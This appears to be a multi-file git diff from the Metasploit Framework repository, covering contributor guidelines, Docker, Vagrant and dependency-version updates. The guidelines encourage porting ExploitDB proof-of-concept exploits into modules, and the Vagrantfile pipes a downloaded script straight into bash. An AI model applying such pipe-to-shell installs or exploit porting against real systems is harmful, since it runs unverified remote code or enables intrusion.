- ls -la ./.git/hooks
- ./.git/hooks/post-merge
# Update the bundler
- gem update --system
- gem update --system 3.0.6
- gem install bundler
before_script:
- cp config/database.yml.travis config/database.yml
+42 -38
View File
@@ -1,63 +1,66 @@
# Hello, World!
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, review our
[Code of Conduct]. There are mutliple ways to help beyond just writing code:
- [Submit bugs and feature requests] with detailed information about your issue or idea.
- [Help fellow users with open issues] or [help fellow committers test recent pull requests].
- [Report a security vulnerability in Metasploit itself] to Rapid7.
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
# Contributing to Metasploit
Thank you for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, please review our [Code of Conduct](https://github.com/rapid7/metasploit-framework/wiki/Code-Of-Conduct). This helps us ensure our community is positive and supportive for everyone involved.
## Code Free Contributions
Before we get into the details of contributing code, you should know there are multiple ways you can add to Metasploit without any coding experience:
- You can [submit bugs and feature requests](https://github.com/rapid7/metasploit-framework/issues/new) with detailed information about your issue or idea:
- If you'd like to propose a feature, describe what you'd like to see. Mock ups of console views would be great.
- If you're reporting a bug, please be sure to include the expected behaviour, the observed behaviour, and steps to reproduce the problem. Resource scripts, console copy-pastes, and any background on the environment you encountered the bug in would be appreciated. More information can be found [below](#bug-reports).
- [Help fellow users with open issues]. This can require technical knowledge, but you can also get involved in conversations about bug reports and feature requests. This is a great way to get involved without getting too overwhelmed!
- [Help fellow committers test recently submitted pull requests](https://github.com/rapid7/metasploit-framework/pulls). Again this can require some technical skill, but by pulling down a pull request and testing it, you can help ensure our new code contributions for stability and quality.
- [Report a security vulnerability in Metasploit itself] to Rapid7. If you see something you think makes Metasploit vulnerable to an attack, let us know!
- [Add module documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation). New documentation is always needed and cleaning up existing documents is just as important! If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand.
Here's a short list of do's and don'ts to make sure *your* valuable contributions actually make
it into Metasploit's master branch. If you do not care to follow these rules, your contribution
**will** be closed. Sorry!
## Code Contributions
For those of you who are looking to add code to Metasploit, your first step is to set up a [development environment]. Once that's done, we recommend beginners start by adding a [proof-of-concept exploit from ExploitDB,](https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true) as a new module to the Metasploit framework. These exploits have been verified as recreatable and their ExploitDB page includes a copy of the exploitable software. This makes testing your module locally much simpler, and most importantly the exploits don't have an existing Metasploit implementation. ExploitDB can be slow to update however, so please double check that there isn't an existing module before beginning development! If you're certain the exploit you've chosen isn't already in Metasploit, read our [writing an exploit guide](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-an-exploit). It will help you to get started and avoid some common mistakes.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
Once you have finished your new module and tested it locally to ensure it's working as expected, check out our [guide for accepting modules](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). This will give you a good idea of how to clean up your code so that it's likely to get accepted.
Finally, follow our short list of do's and don'ts below to make sure your valuable contributions actually make it into Metasploit's master branch! We try to consider all our pull requests fairly and in detail, but if you do not follow these rules, your contribution
will be closed. We need to ensure the code we're adding to master is written to a high standard.
### Code Contribution Do's & Don'ts:
--
#### <u>Pull Requests</u>
**Pull request [PR#9966] is a good example to follow.**
* **Do** create a [topic branch] to work on instead of working directly on `master`. This helps to:
* Protect the process.
* Ensures users are aware of commits on the branch being considered for merge.
* Allows for a location for more commits to be offered without mingling with other contributor changes.
* Allows contributors to make progress while a PR is still being reviewed.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
allows for a location for more commits to be offered without mingling with other contributor changes,
and allows contributors to make progress while a PR is still being reviewed.
### Pull Requests
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** include [console output], especially for effects that can be witnessed in the `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
* **Don't** post questions in older closed PRs.
Pull request [PR#9966] is a good example to follow.
#### New Modules
#### <u>New Modules</u>
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
* **Do** use the many module mixin [API]s.
* **Don't** include more than one module per pull request.
* **Do** include instructions on how to setup the vulnerable environment or software.
* **Do** include [Module Documentation] showing sample run-throughs.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and
anything "serious" can be done with post modules and local exploits.
#### Library Code
* **Don't** include more than one module per pull request.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and anything "serious" can be done with post modules and local exploits.
#### <u>Library Code</u>
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
* **Do** follow [Better Specs] - it's like the style guide for specs.
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
#### Bug Fixes
#### <u>Bug Fixes</u>
* **Do** include reproduction steps in the form of verification steps.
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
@@ -69,6 +72,7 @@ When reporting Metasploit issues:
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
* **Don't** file duplicate reports; search for your bug before filing a new report.
* **Don't** attempt to report issues on a closed PR.
If you need some more guidance, talk to the main body of open source contributors over on our
[Metasploit Slack] or [#metasploit on Freenode IRC].
@@ -97,8 +101,8 @@ curve, so keep it up!
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[Better Specs]:http://www.betterspecs.org/
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Metasploit Slack]:https://www.metasploit.com/slack
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
+1 -1
View File
@@ -1,4 +1,4 @@
Copyright (C) 2006-2018, Rapid7, Inc.
Copyright (C) 2006-2020, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
+10 -7
View File
@@ -1,4 +1,4 @@
FROM ruby:2.6.2-alpine3.9 AS builder
FROM ruby:2.6.5-alpine3.10 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -27,16 +27,16 @@ RUN apk add --no-cache \
zlib-dev \
ncurses-dev \
git \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
&& echo "gem: --no-document" > /etc/gemrc \
&& gem update --system 3.0.6 \
&& bundle install --force --clean --no-cache --system $BUNDLER_ARGS \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
# needed so non root users can read content of the bundle
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.6.2-alpine3.9
FROM ruby:2.6.5-alpine3.10
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
@@ -51,8 +51,11 @@ RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresq
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle
COPY --chown=root:metasploit . $APP_HOME/
COPY --from=builder /usr/local/bundle /usr/local/bundle
RUN chown -R root:metasploit /usr/local/bundle
COPY . $APP_HOME/
RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
WORKDIR $APP_HOME
+1 -1
View File
@@ -17,7 +17,7 @@ group :development do
# generating documentation
gem 'yard'
# for development and testing purposes
gem 'pry'
gem 'pry-byebug'
# module documentation
gem 'octokit'
# Metasploit::Aggregator external session proxy
+95 -80
View File
@@ -1,14 +1,13 @@
PATH
remote: .
specs:
metasploit-framework (5.0.45)
metasploit-framework (5.0.78)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
aws-sdk-ec2
aws-sdk-iam
aws-sdk-s3
backports
bcrypt (= 3.1.12)
bcrypt_pbkdf
bit-struct
@@ -16,16 +15,20 @@ PATH
dnsruby
ed25519
em-http-request
eventmachine
faker
faraday (<= 0.17.0)
faye-websocket
filesize
hrr_rb_ssh (= 0.3.0.pre2)
jsobfu
json
metasm
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.70)
metasploit_data_models (= 3.0.10)
metasploit-concern (~> 2.0.0)
metasploit-credential (~> 3.0.0)
metasploit-model (~> 2.0.4)
metasploit-payloads (= 1.3.84)
metasploit_data_models (~> 3.0.10)
metasploit_payloads-mettle (= 0.5.16)
mqtt
msgpack
@@ -59,7 +62,7 @@ PATH
rex-random_identifier
rex-registry
rex-rop_builder
rex-socket (= 0.1.17)
rex-socket
rex-sslscan
rex-struct2
rex-text
@@ -108,44 +111,44 @@ GEM
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.6.0)
public_suffix (>= 2.0.2, < 4.0)
addressable (2.7.0)
public_suffix (>= 2.0.2, < 5.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.10.0)
arel-helpers (2.11.0)
activerecord (>= 3.1.0, < 7)
aws-eventstream (1.0.3)
aws-partitions (1.207.0)
aws-sdk-core (3.65.1)
aws-partitions (1.278.0)
aws-sdk-core (3.90.1)
aws-eventstream (~> 1.0, >= 1.0.2)
aws-partitions (~> 1.0)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.106.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sdk-ec2 (1.145.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.29.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sdk-iam (1.33.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.24.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sdk-kms (1.29.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.47.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sdk-s3 (1.60.2)
aws-sdk-core (~> 3, >= 3.83.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.1.0)
aws-sigv4 (1.1.1)
aws-eventstream (~> 1.0, >= 1.0.2)
backports (3.15.0)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.1)
bindata (2.4.4)
bindata (2.4.6)
bit-struct (0.16)
builder (3.2.3)
builder (3.2.4)
byebug (11.1.1)
coderay (1.1.2)
concurrent-ruby (1.0.5)
cookiejar (0.3.3)
crass (1.0.4)
crass (1.0.6)
daemons (1.3.1)
diff-lcs (1.3)
dnsruby (1.61.3)
@@ -162,26 +165,31 @@ GEM
eventmachine (>= 1.0.0.beta.4)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (5.0.2)
factory_bot (5.1.1)
activesupport (>= 4.2.0)
factory_bot_rails (5.0.2)
factory_bot (~> 5.0.2)
factory_bot_rails (5.1.1)
factory_bot (~> 5.1.0)
railties (>= 4.2.0)
faker (2.2.0)
faker (2.2.1)
i18n (>= 0.8)
faraday (0.15.4)
faraday (0.17.0)
multipart-post (>= 1.2, < 3)
faye-websocket (0.10.9)
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
filesize (0.2.0)
fivemat (1.3.7)
hashery (2.1.2)
hrr_rb_ssh (0.3.0.pre2)
ed25519 (~> 1.2)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jmespath (1.4.0)
jsobfu (0.4.2)
rkelly-remix
json (2.2.0)
loofah (2.2.3)
json (2.3.0)
loofah (2.4.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
metasm (1.0.4)
@@ -189,7 +197,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (3.0.3)
metasploit-credential (3.0.4)
metasploit-concern
metasploit-model
metasploit_data_models (>= 3.0.0)
@@ -203,7 +211,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.70)
metasploit-payloads (1.3.84)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -217,17 +225,18 @@ GEM
metasploit_payloads-mettle (0.5.16)
method_source (0.9.2)
mini_portile2 (2.4.0)
minitest (5.11.3)
minitest (5.14.0)
mqtt (0.5.0)
msgpack (1.3.1)
msgpack (1.3.3)
multipart-post (2.1.1)
nessus_rest (0.1.6)
net-ssh (5.2.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.4)
nokogiri (1.10.8)
mini_portile2 (~> 2.4.0)
octokit (4.14.0)
octokit (4.16.0)
faraday (>= 0.9)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.2)
openvas-omp (0.0.4)
@@ -235,7 +244,7 @@ GEM
pcaprub
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.2.1)
pdf-reader (2.4.0)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
@@ -250,8 +259,11 @@ GEM
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.1.1)
rack (1.6.11)
pry-byebug (3.8.0)
byebug (~> 11.0)
pry (~> 0.10)
public_suffix (4.0.3)
rack (1.6.13)
rack-protection (1.5.5)
rack
rack-test (0.6.3)
@@ -262,16 +274,16 @@ GEM
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.2.0)
loofah (~> 2.2, >= 2.2.2)
rails-html-sanitizer (1.3.0)
loofah (~> 2.3)
railties (4.2.11.1)
actionpack (= 4.2.11.1)
activesupport (= 4.2.11.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.3)
rake (13.0.1)
rb-readline (0.5.5)
recog (2.3.2)
recog (2.3.7)
nokogiri
redcarpet (3.5.0)
rex-arch (0.1.13)
@@ -287,7 +299,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.21)
rex-exploitation (0.1.22)
jsobfu
metasm
rex-arch
@@ -300,9 +312,10 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.82)
rex-powershell (0.1.87)
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.4)
rex-text
rex-registry (0.1.3)
@@ -310,40 +323,40 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.17)
rex-socket (0.1.21)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.23)
rex-text (0.2.24)
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
rspec (3.8.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.2)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.4)
rspec (3.9.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-core (3.9.1)
rspec-support (~> 3.9.1)
rspec-expectations (3.9.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.1)
rspec-support (~> 3.9.0)
rspec-mocks (3.9.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-rails (3.8.2)
rspec-support (~> 3.9.0)
rspec-rails (3.9.0)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-support (~> 3.8.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-support (~> 3.9.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.8.2)
rspec-support (3.9.2)
ruby-macho (2.2.0)
ruby-rc4 (0.1.5)
ruby_smb (1.1.0)
@@ -351,43 +364,45 @@ GEM
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.3)
rubyzip (2.2.0)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.17.0)
simplecov (0.18.5)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.2)
simplecov-html (~> 0.11)
simplecov-html (0.12.2)
sinatra (1.4.8)
rack (~> 1.5)
rack-protection (~> 1.4)
tilt (>= 1.3, < 3)
sqlite3 (1.3.13)
sshkey (2.0.0)
swagger-blocks (2.0.2)
swagger-blocks (3.0.0)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (0.20.3)
thor (1.0.1)
thread_safe (0.3.6)
tilt (2.0.9)
tilt (2.0.10)
timecop (0.9.1)
ttfunk (1.5.1)
tzinfo (1.2.5)
ttfunk (1.6.2.1)
tzinfo (1.2.6)
thread_safe (~> 0.1)
tzinfo-data (1.2019.2)
tzinfo-data (1.2019.3)
tzinfo (>= 1.0.0)
warden (1.2.7)
rack (>= 1.0)
websocket-driver (0.7.1)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.4)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.20)
yard (0.9.24)
PLATFORMS
ruby
@@ -397,7 +412,7 @@ DEPENDENCIES
fivemat
metasploit-framework!
octokit
pry
pry-byebug
rake
redcarpet
rspec-rails
+5 -1
View File
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2018, Rapid7, Inc.
Copyright: 2006-2020, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided
@@ -71,6 +71,10 @@ Files: lib/anemone.rb lib/anemone/*
Copyright: 2009 Vertive, Inc.
License: MIT
Files: lib/expect.rb
Copyright: 2017 Yukihiro Matsumoto
License: Ruby
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
License: Apache 2.0
+57 -52
View File
@@ -5,29 +5,29 @@ actionview, 4.2.11.1, MIT
activemodel, 4.2.11.1, MIT
activerecord, 4.2.11.1, MIT
activesupport, 4.2.11.1, MIT
addressable, 2.6.0, "Apache 2.0"
addressable, 2.7.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.10.0, MIT
arel-helpers, 2.11.0, MIT
aws-eventstream, 1.0.3, "Apache 2.0"
aws-partitions, 1.207.0, "Apache 2.0"
aws-sdk-core, 3.65.1, "Apache 2.0"
aws-sdk-ec2, 1.106.0, "Apache 2.0"
aws-sdk-iam, 1.29.0, "Apache 2.0"
aws-sdk-kms, 1.24.0, "Apache 2.0"
aws-sdk-s3, 1.47.0, "Apache 2.0"
aws-sigv4, 1.1.0, "Apache 2.0"
backports, 3.15.0, MIT
aws-partitions, 1.278.0, "Apache 2.0"
aws-sdk-core, 3.90.1, "Apache 2.0"
aws-sdk-ec2, 1.145.0, "Apache 2.0"
aws-sdk-iam, 1.33.0, "Apache 2.0"
aws-sdk-kms, 1.29.0, "Apache 2.0"
aws-sdk-s3, 1.60.2, "Apache 2.0"
aws-sigv4, 1.1.1, "Apache 2.0"
bcrypt, 3.1.12, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.4, ruby
bindata, 2.4.6, ruby
bit-struct, 0.16, ruby
builder, 3.2.3, MIT
builder, 3.2.4, MIT
bundler, 1.17.3, MIT
byebug, 11.1.1, "Simplified BSD"
coderay, 1.1.2, MIT
concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.4, MIT
crass, 1.0.6, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.3, "Apache 2.0"
@@ -37,109 +37,114 @@ em-http-request, 1.1.5, MIT
em-socksify, 0.3.2, MIT
erubis, 2.7.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 5.0.2, MIT
factory_bot_rails, 5.0.2, MIT
faker, 2.2.0, MIT
faraday, 0.15.4, MIT
factory_bot, 5.1.1, MIT
factory_bot_rails, 5.1.1, MIT
faker, 2.2.1, MIT
faraday, 0.17.0, MIT
faye-websocket, 0.10.9, "Apache 2.0"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
http_parser.rb, 0.6.0, MIT
i18n, 0.9.5, MIT
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.2.0, ruby
loofah, 2.2.3, MIT
json, 2.3.0, ruby
loofah, 2.4.0, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.3, "New BSD"
metasploit-framework, 5.0.45, "New BSD"
metasploit-credential, 3.0.4, "New BSD"
metasploit-framework, 5.0.78, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
metasploit-payloads, 1.3.84, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.10, "New BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.11.3, MIT
minitest, 5.14.0, MIT
mqtt, 0.5.0, MIT
msgpack, 1.3.1, "Apache 2.0"
msgpack, 1.3.3, "Apache 2.0"
multipart-post, 2.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ssh, 5.2.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.4, MIT
octokit, 4.14.0, MIT
nokogiri, 1.10.8, MIT
octokit, 4.16.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.2.1, MIT
pdf-reader, 2.4.0, MIT
pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 3.1.1, MIT
rack, 1.6.11, MIT
pry-byebug, 3.8.0, MIT
public_suffix, 4.0.3, MIT
rack, 1.6.13, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.2.0, MIT
rails-html-sanitizer, 1.3.0, MIT
railties, 4.2.11.1, MIT
rake, 12.3.3, MIT
rake, 13.0.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.2, unknown
recog, 2.3.7, unknown
redcarpet, 3.5.0, MIT
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.21, "New BSD"
rex-exploitation, 0.1.22, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.82, "New BSD"
rex-powershell, 0.1.87, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.17, "New BSD"
rex-socket, 0.1.21, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.23, "New BSD"
rex-text, 0.2.24, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.8.0, MIT
rspec-core, 3.8.2, MIT
rspec-expectations, 3.8.4, MIT
rspec-mocks, 3.8.1, MIT
rspec-rails, 3.8.2, MIT
rspec, 3.9.0, MIT
rspec-core, 3.9.1, MIT
rspec-expectations, 3.9.0, MIT
rspec-mocks, 3.9.1, MIT
rspec-rails, 3.9.0, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.8.2, MIT
rspec-support, 3.9.2, MIT
ruby-macho, 2.2.0, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.1.0, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.3, "Simplified BSD"
rubyzip, 2.2.0, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.17.0, MIT
simplecov-html, 0.10.2, MIT
simplecov, 0.18.5, MIT
simplecov-html, 0.12.2, MIT
sinatra, 1.4.8, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 2.0.2, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.7.2, "GPLv2+, Ruby 1.8"
thor, 0.20.3, MIT
thor, 1.0.1, MIT
thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.9, MIT
tilt, 2.0.10, MIT
timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.5, MIT
tzinfo-data, 1.2019.2, MIT
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.6, MIT
tzinfo-data, 1.2019.3, MIT
warden, 1.2.7, MIT
websocket-driver, 0.7.1, "Apache 2.0"
websocket-extensions, 0.1.4, "Apache 2.0"
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.20, MIT
yard, 0.9.24, MIT
+2 -2
View File
@@ -1,7 +1,7 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
[COPYING](COPYING) for more details.
The latest version of this software is available from: https://metasploit.com
Vendored
+1 -1
View File
@@ -28,7 +28,7 @@ Vagrant.configure(2) do |config|
config.vm.provision "shell", inline: step
end
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
[ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB",
"curl -L https://get.rvm.io | bash -s stable",
"source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
"source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
+1
View File
@@ -1,3 +1,4 @@
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
require 'rails'
require File.expand_path('../boot', __FILE__)
+2 -12
View File
@@ -9,6 +9,8 @@ GEMFILE_EXTENSIONS = [
msfenv_real_pathname = Pathname.new(__FILE__).realpath
root = msfenv_real_pathname.parent.parent
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
unless ENV['BUNDLE_GEMFILE']
require 'pathname'
@@ -22,18 +24,6 @@ unless ENV['BUNDLE_GEMFILE']
end
end
# Remove bigdecimal warning - start
